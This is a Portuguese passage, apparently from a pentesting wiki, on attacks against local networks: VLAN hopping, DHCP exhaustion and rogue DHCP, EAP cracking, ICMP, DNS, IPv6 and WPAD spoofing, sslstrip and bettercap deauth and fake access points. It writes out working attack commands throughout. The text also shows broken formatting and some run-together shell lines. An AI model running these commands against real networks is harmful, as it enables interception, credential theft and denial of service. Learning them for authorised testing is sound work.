**VoIP Hopper** oferece três modos para o Protocolo de Descoberta Cisco (CDP):
|
||
|
||
1. **Modo de Sniff** (`-c 0`): Analisa pacotes de rede para identificar o ID da VLAN.
|
||
2. **Modo de Spoof** (`-c 1`): Gera pacotes personalizados imitando os de um dispositivo VoIP real.
|
||
3. **Modo de Spoof com Pacote Pré-fabricado** (`-c 2`): Envia pacotes idênticos aos de um modelo específico de telefone IP Cisco.
|
||
|
||
O modo preferido para velocidade é o terceiro. Requer a especificação de:
|
||
|
||
- A interface de rede do atacante (parâmetro `-i`).
|
||
- O nome do dispositivo VoIP sendo emulado (parâmetro `-E`), seguindo o formato de nomenclatura da Cisco (por exemplo, SEP seguido por um endereço MAC).
|
||
|
||
Em ambientes corporativos, para imitar um dispositivo VoIP existente, pode-se:
|
||
|
||
- Verificar o rótulo MAC no telefone.
|
||
- Navegar pelas configurações de exibição do telefone para visualizar informações do modelo.
|
||
- Conectar o dispositivo VoIP a um laptop e observar as solicitações CDP usando o Wireshark.
|
||
|
||
Um exemplo de comando para executar a ferramenta no terceiro modo seria:
|
||
```bash
|
||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||
```
|
||
### Ataques DHCP
|
||
|
||
#### Enumeração
|
||
```bash
|
||
nmap --script broadcast-dhcp-discover
|
||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
|
||
WARNING: No targets were specified, so 0 hosts scanned.
|
||
Pre-scan script results:
|
||
| broadcast-dhcp-discover:
|
||
| Response 1 of 1:
|
||
| IP Offered: 192.168.1.250
|
||
| DHCP Message Type: DHCPOFFER
|
||
| Server Identifier: 192.168.1.1
|
||
| IP Address Lease Time: 1m00s
|
||
| Subnet Mask: 255.255.255.0
|
||
| Router: 192.168.1.1
|
||
| Domain Name Server: 192.168.1.1
|
||
|_ Domain Name: mynet
|
||
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||
```
|
||
**DoS**
|
||
|
||
**Dois tipos de DoS** podem ser realizados contra servidores DHCP. O primeiro consiste em **simular hosts falsos suficientes para usar todos os endereços IP possíveis**.\
|
||
Este ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Descoberta** (Comp) --> **Oferta** (servidor) --> **Solicitação** (Comp) --> **ACK** (servidor)). Por exemplo, isso **não é possível em redes Wifi**.
|
||
|
||
Outra maneira de realizar um DoS DHCP é enviar um **pacote DHCP-RELEASE usando como código de origem todos os IPs possíveis**. Em seguida, o servidor pensará que todos terminaram de usar o IP.
|
||
```bash
|
||
yersinia dhcp -attack 1
|
||
yersinia dhcp -attack 3 #More parameters are needed
|
||
```
|
||
Uma maneira mais automática de fazer isso é usando a ferramenta [DHCPing](https://github.com/kamorin/DHCPig)
|
||
|
||
Você poderia usar os ataques de DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar os servidores legítimos para que fiquem sem resposta. Assim, quando os legítimos tentarem se reconectar, **você pode fornecer valores maliciosos mencionados no próximo ataque**.
|
||
|
||
#### Definir valores maliciosos
|
||
|
||
Um servidor DHCP falso pode ser configurado usando o script DHCP localizado em `/usr/share/responder/DHCP.py`. Isso é útil para ataques de rede, como capturar tráfego HTTP e credenciais, redirecionando o tráfego para um servidor malicioso. No entanto, configurar um gateway falso é menos eficaz, pois só permite capturar o tráfego de saída do cliente, perdendo as respostas do gateway real. Em vez disso, configurar um servidor DNS ou WPAD falso é recomendado para um ataque mais eficaz.
|
||
|
||
Abaixo estão as opções de comando para configurar o servidor DHCP falso:
|
||
|
||
- **Nosso Endereço IP (Anúncio de Gateway)**: Use `-i 10.0.0.100` para anunciar o IP da sua máquina como o gateway.
|
||
- **Nome de Domínio DNS Local**: Opcionalmente, use `-d example.org` para definir um nome de domínio DNS local.
|
||
- **IP do Roteador/Gateway Original**: Use `-r 10.0.0.1` para especificar o endereço IP do roteador ou gateway legítimo.
|
||
- **IP do Servidor DNS Primário**: Use `-p 10.0.0.100` para definir o IP do servidor DNS falso que você controla.
|
||
- **IP do Servidor DNS Secundário**: Opcionalmente, use `-s 10.0.0.1` para definir um IP de servidor DNS secundário.
|
||
- **Máscara de Rede Local**: Use `-n 255.255.255.0` para definir a máscara de rede para a rede local.
|
||
- **Interface para Tráfego DHCP**: Use `-I eth1` para ouvir o tráfego DHCP em uma interface de rede específica.
|
||
- **Endereço de Configuração WPAD**: Use `-w “http://10.0.0.100/wpad.dat”` para definir o endereço para a configuração WPAD, auxiliando na interceptação de tráfego web.
|
||
- **Spoof do IP do Gateway Padrão**: Inclua `-S` para falsificar o endereço IP do gateway padrão.
|
||
- **Responder a Todos os Pedidos DHCP**: Inclua `-R` para fazer o servidor responder a todos os pedidos DHCP, mas esteja ciente de que isso é barulhento e pode ser detectado.
|
||
|
||
Ao usar corretamente essas opções, um servidor DHCP falso pode ser estabelecido para interceptar o tráfego de rede de forma eficaz.
|
||
```python
|
||
# Example to start a rogue DHCP server with specified options
|
||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||
```
|
||
### **Ataques EAP**
|
||
|
||
Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X:
|
||
|
||
* Moagem ativa de senha por força bruta via EAP
|
||
* Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits)
|
||
* Captura de mensagens EAP e quebra offline de senhas (EAP-MD5 e PEAP)
|
||
* Forçando autenticação EAP-MD5 para contornar a validação de certificado TLS
|
||
* Injetando tráfego de rede malicioso ao se autenticar usando um hub ou similar
|
||
|
||
Se o atacante estiver entre a vítima e o servidor de autenticação, ele poderia tentar degradar (se necessário) o protocolo de autenticação para EAP-MD5 e capturar a tentativa de autenticação. Em seguida, ele poderia realizar força bruta nisso usando:
|
||
```
|
||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||
```
|
||
### Ataques FHRP (GLBP & HSRP) <a href="#6196" id="6196"></a>
|
||
|
||
**FHRP** (Protocolo de Redundância do Primeiro Salto) é uma classe de protocolos de rede projetados para **criar um sistema de roteamento redundante ativo**. Com o FHRP, roteadores físicos podem ser combinados em um único dispositivo lógico, o que aumenta a tolerância a falhas e ajuda a distribuir a carga.
|
||
|
||
**Engenheiros da Cisco Systems desenvolveram dois protocolos FHRP, GLBP e HSRP.**
|
||
|
||
{% content-ref url="glbp-and-hsrp-attacks.md" %}
|
||
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
|
||
{% endcontent-ref %}
|
||
|
||
### RIP
|
||
|
||
Três versões do Protocolo de Informações de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP por RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 por RIPng. O suporte para autenticação MD5 foi introduzido por RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, a confiança é colocada nos cabeçalhos IPsec AH e ESP opcionais dentro do IPv6.
|
||
|
||
- **RIP e RIPv2:** A comunicação é feita por datagramas UDP na porta 520.
|
||
- **RIPng:** Utiliza a porta UDP 521 para transmitir datagramas via multicast IPv6.
|
||
|
||
Observe que o RIPv2 suporta autenticação MD5, enquanto o RIPng não inclui autenticação nativa, confiando nos cabeçalhos IPsec AH e ESP no IPv6.
|
||
|
||
### Ataques EIGRP
|
||
|
||
**EIGRP (Protocolo de Roteamento de Gateway Interno Aprimorado)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (ou seja, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injetar uma rota**, é provável que essa rota se **espalhe** por todo o sistema autônomo EIGRP.
|
||
|
||
Para atacar um sistema EIGRP, é necessário **estabelecer uma vizinhança com um roteador EIGRP legítimo**, o que abre muitas possibilidades, desde reconhecimento básico até várias injeções.
|
||
|
||
[**FRRouting**](https://frrouting.org/) permite que você implemente **um roteador virtual que suporta BGP, OSPF, EIGRP, RIP e outros protocolos.** Tudo que você precisa fazer é implantá-lo no sistema do seu atacante e você pode realmente se passar por um roteador legítimo no domínio de roteamento.
|
||
|
||
{% content-ref url="eigrp-attacks.md" %}
|
||
[eigrp-attacks.md](eigrp-attacks.md)
|
||
{% endcontent-ref %}
|
||
|
||
[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Protocolo de Roteamento de Gateway Interno Aprimorado). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
|
||
|
||
### OSPF
|
||
|
||
No protocolo Open Shortest Path First (OSPF), **a autenticação MD5 é comumente empregada para garantir comunicação segura entre roteadores**. No entanto, essa medida de segurança pode ser comprometida usando ferramentas como Loki e John the Ripper. Essas ferramentas são capazes de capturar e quebrar hashes MD5, expondo a chave de autenticação. Uma vez obtida essa chave, ela pode ser usada para introduzir novas informações de roteamento. Para configurar os parâmetros de rota e estabelecer a chave comprometida, as abas _Injeção_ e _Conexão_ são utilizadas, respectivamente.
|
||
|
||
- **Captura e Quebra de Hashes MD5:** Ferramentas como Loki e John the Ripper são usadas para esse fim.
|
||
- **Configurando Parâmetros de Rota:** Isso é feito através da aba _Injeção_.
|
||
- **Definindo a Chave Comprometida:** A chave é configurada na aba _Conexão_.
|
||
|
||
### Outras Ferramentas e Fontes Genéricas
|
||
|
||
* [**Above**](https://github.com/c4s73r/Above): Ferramenta para escanear o tráfego de rede e encontrar vulnerabilidades
|
||
* Você pode encontrar **mais informações sobre ataques de rede [aqui](https://github.com/Sab0tag3d/MITM-cheatsheet)**.
|
||
|
||
## **Spoofing**
|
||
|
||
O atacante configura todos os parâmetros de rede (GW, IP, DNS) do novo membro da rede enviando respostas DHCP falsas.
|
||
```bash
|
||
Ettercap
|
||
yersinia dhcp -attack 2 #More parameters are needed
|
||
```
|
||
### ARP Spoofing
|
||
|
||
Verifique a [seção anterior](./#arp-spoofing).
|
||
|
||
### ICMPRedirect
|
||
|
||
ICMP Redirect consiste em enviar um pacote ICMP tipo 1 código 5 que indica que o atacante é a melhor maneira de alcançar um IP. Em seguida, quando a vítima deseja entrar em contato com o IP, ela enviará o pacote através do atacante.
|
||
```bash
|
||
Ettercap
|
||
icmp_redirect
|
||
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
|
||
```
|
||
### DNS Spoofing
|
||
|
||
O atacante irá resolver alguns (ou todos) os domínios que a vítima solicitar.
|
||
```bash
|
||
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||
```
|
||
**Configurar seu próprio DNS com dnsmasq**
|
||
```bash
|
||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||
dig @localhost domain.example.com # Test the configured DNS
|
||
```
|
||
### Portões Locais
|
||
|
||
Frequentemente existem várias rotas para sistemas e redes. Ao criar uma lista de endereços MAC dentro da rede local, use _gateway-finder.py_ para identificar hosts que suportam encaminhamento IPv4.
|
||
```
|
||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||
root@kali:~# cd gateway-finder/
|
||
root@kali:~# arp-scan -l | tee hosts.txt
|
||
Interface: eth0, datalink type: EN10MB (Ethernet)
|
||
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
|
||
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
|
||
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
|
||
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
|
||
|
||
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
|
||
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||
[+] Using interface eth0 (-I to change)
|
||
[+] Found 3 MAC addresses in hosts.txt
|
||
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||
```
|
||
### [Falsificação de LLMNR, NBT-NS e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
Para resolução local de host quando as pesquisas de DNS não têm sucesso, os sistemas da Microsoft dependem do **Link-Local Multicast Name Resolution (LLMNR)** e do **NetBIOS Name Service (NBT-NS)**. Da mesma forma, as implementações do **Apple Bonjour** e do **Linux zero-configuration** utilizam o **Multicast DNS (mDNS)** para descobrir sistemas dentro de uma rede. Devido à natureza não autenticada desses protocolos e sua operação sobre UDP, enviando mensagens de broadcast, eles podem ser explorados por atacantes que visam redirecionar usuários para serviços maliciosos.
|
||
|
||
Você pode se passar por serviços que são procurados por hosts usando o Responder para enviar respostas falsas.\
|
||
Leia mais informações sobre [como se passar por serviços com o Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||
|
||
### [Falsificação de WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
Os navegadores comumente empregam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente por meio de uma URL como "http://wpad.example.org/wpad.dat". A descoberta desse servidor pelos clientes pode ocorrer por meio de vários mecanismos:
|
||
|
||
- Através do **DHCP**, onde a descoberta é facilitada pelo uso de uma entrada de código especial 252.
|
||
- Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local.
|
||
- Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos em que as pesquisas de DNS não têm sucesso.
|
||
|
||
A ferramenta Responder aproveita esse protocolo ao atuar como um **servidor WPAD malicioso**. Ele utiliza DHCP, DNS, LLMNR e NBT-NS para induzir os clientes a se conectarem a ele. Para se aprofundar em como os serviços podem ser falsificados usando o Responder [verifique aqui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||
|
||
|
||
### [Falsificação de dispositivos SSDP e UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||
|
||
Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre esse ataque em** [**Falsificação de Dispositivos SSDP e UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||
|
||
### Falsificação de Vizinhança IPv6
|
||
|
||
Este ataque é muito semelhante ao ARP Spoofing, mas no mundo do IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante.
|
||
```bash
|
||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||
```
|
||
### Spoofing/Flooding de Anúncios de Roteador IPv6
|
||
|
||
Alguns sistemas operacionais configuram por padrão o gateway a partir dos pacotes RA enviados na rede. Para declarar o atacante como roteador IPv6, você pode usar:
|
||
```bash
|
||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||
fake_router6 wlan0 fe80::01/16
|
||
```
|
||
### Spoofing de DHCP IPv6
|
||
|
||
Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Assim, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um endereço IPv6 à vítima.
|
||
```bash
|
||
dhcp6.spoof on
|
||
dhcp6.spoof.domains <list of domains>
|
||
|
||
mitm6
|
||
```
|
||
### HTTP (página falsa e injeção de código JS)
|
||
|
||
## Ataques na Internet
|
||
|
||
### sslStrip
|
||
|
||
Basicamente, o que esse ataque faz é, no caso do **usuário** tentar **acessar** uma página **HTTP** que está **redirecionando** para a versão **HTTPS**. O **sslStrip** irá **manter** uma conexão **HTTP com** o **cliente e** uma conexão **HTTPS com** o **servidor**, permitindo assim **capturar** a conexão em **texto simples**.
|
||
```bash
|
||
apt-get install sslstrip
|
||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||
#iptables --flush
|
||
#iptables --flush -t nat
|
||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
||
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||
```
|
||
Mais informações [aqui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
|
||
|
||
### sslStrip+ e dns2proxy para burlar HSTS
|
||
|
||
A **diferença** entre **sslStrip+ e dns2proxy** em relação ao **sslStrip** é que eles irão **redirecionar**, por exemplo, _**www.facebook.com**_ para _**wwww.facebook.com**_ (note o **"w"** extra) e definirão o **endereço deste domínio como o IP do atacante**. Dessa forma, o **cliente** irá **conectar-se** ao _**wwww.facebook.com**_ (o atacante), mas nos bastidores o **sslstrip+** irá **manter** a **conexão real** via https com **www.facebook.com**.
|
||
|
||
O **objetivo** dessa técnica é **evitar o HSTS** porque _**wwww**.facebook.com_ **não** será salvo no **cache** do navegador, então o navegador será enganado para realizar **autenticação do facebook em HTTP**.\
|
||
Observe que, para realizar esse ataque, a vítima deve tentar acessar inicialmente [http://www.faceook.com](http://www.faceook.com) e não https. Isso pode ser feito modificando os links dentro de uma página http.
|
||
|
||
Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||
|
||
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o acessará via HTTPS. Além disso, observe que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo anterior de** _**wwww.facebook.com**_ **não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
|
||
|
||
TODO: easy-creds, evilgrade, metasploit, factory
|
||
|
||
## Escuta TCP na porta
|
||
```bash
|
||
sudo nc -l -p 80
|
||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||
```
|
||
## TCP + SSL escutando na porta
|
||
|
||
#### Gerar chaves e certificado autoassinado
|
||
```
|
||
FILENAME=server
|
||
# Generate a public/private key pair:
|
||
openssl genrsa -out $FILENAME.key 1024
|
||
# Generate a self signed certificate:
|
||
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
||
# Generate the PEM file by just appending the key and certificate files:
|
||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||
```
|
||
#### Escutar usando certificado
|
||
```
|
||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||
```
|
||
#### Escute usando certificado e redirecione para os hosts
|
||
```
|
||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||
```
|
||
Algumas vezes, se o cliente verificar que a CA é válida, você poderia **servir um certificado de outro nome de host assinado por uma CA**.\
|
||
Outro teste interessante é servir um **certificado do nome de host solicitado, mas autoassinado**.
|
||
|
||
Outras coisas para testar são tentar assinar o certificado com um certificado válido que não seja uma CA válida. Ou usar a chave pública válida, forçar o uso de um algoritmo como diffie hellman (um que não precise descriptografar nada com a chave privada real) e quando o cliente solicitar uma sonda da chave privada real (como um hash), enviar uma sonda falsa e esperar que o cliente não verifique isso.
|
||
|
||
## Bettercap
|
||
```bash
|
||
# Events
|
||
events.stream off #Stop showing events
|
||
events.show #Show all events
|
||
events.show 5 #Show latests 5 events
|
||
events.clear
|
||
|
||
# Ticker (loop of commands)
|
||
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
|
||
|
||
# Caplets
|
||
caplets.show
|
||
caplets.update
|
||
|
||
# Wifi
|
||
wifi.recon on
|
||
wifi.deauth BSSID
|
||
wifi.show
|
||
# Fake wifi
|
||
set wifi.ap.ssid Banana
|
||
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
|
||
set wifi.ap.channel 5
|
||
set wifi.ap.encryption false #If true, WPA2
|
||
wifi.recon on; wifi.ap
|
||
```
|
||
### Notas de Descoberta Ativa
|
||
|
||
Tenha em mente que quando um pacote UDP é enviado para um dispositivo que não possui a porta solicitada, é enviado um ICMP (Port Unreachable).
|
||
|
||
### **Descoberta ARP**
|
||
|
||
Os pacotes ARP são usados para descobrir quais IPs estão sendo usados dentro da rede. O PC precisa enviar uma solicitação para cada endereço IP possível e apenas aqueles que estão sendo usados irão responder.
|
||
|
||
### **mDNS (multicast DNS)**
|
||
|
||
O Bettercap envia uma solicitação MDNS (a cada X ms) pedindo por **\_services\_.dns-sd.\_udp.local**. A máquina que vê esse pacote geralmente responde a essa solicitação. Em seguida, ele procura apenas por máquinas que respondem a "services".
|
||
|
||
**Ferramentas**
|
||
|
||
* Avahi-browser (--all)
|
||
* Bettercap (net.probe.mdns)
|
||
* Responder
|
||
|
||
### **NBNS (NetBios Name Server)**
|
||
|
||
O Bettercap envia pacotes de broadcast para a porta 137/UDP pedindo pelo nome "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
### **SSDP (Simple Service Discovery Protocol)**
|
||
|
||
O Bettercap envia pacotes SSDP de broadcast procurando por todos os tipos de serviços (Porta UDP 1900).
|
||
|
||
### **WSD (Web Service Discovery)**
|
||
|
||
O Bettercap envia pacotes WSD de broadcast procurando por serviços (Porta UDP 3702).
|
||
|
||
## Referências
|
||
|
||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||
* **Network Security Assessment: Know Your Network (3rd edition)**
|
||
* **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||
|
||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
**Dica de recompensa por bugs**: **Inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras maneiras de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|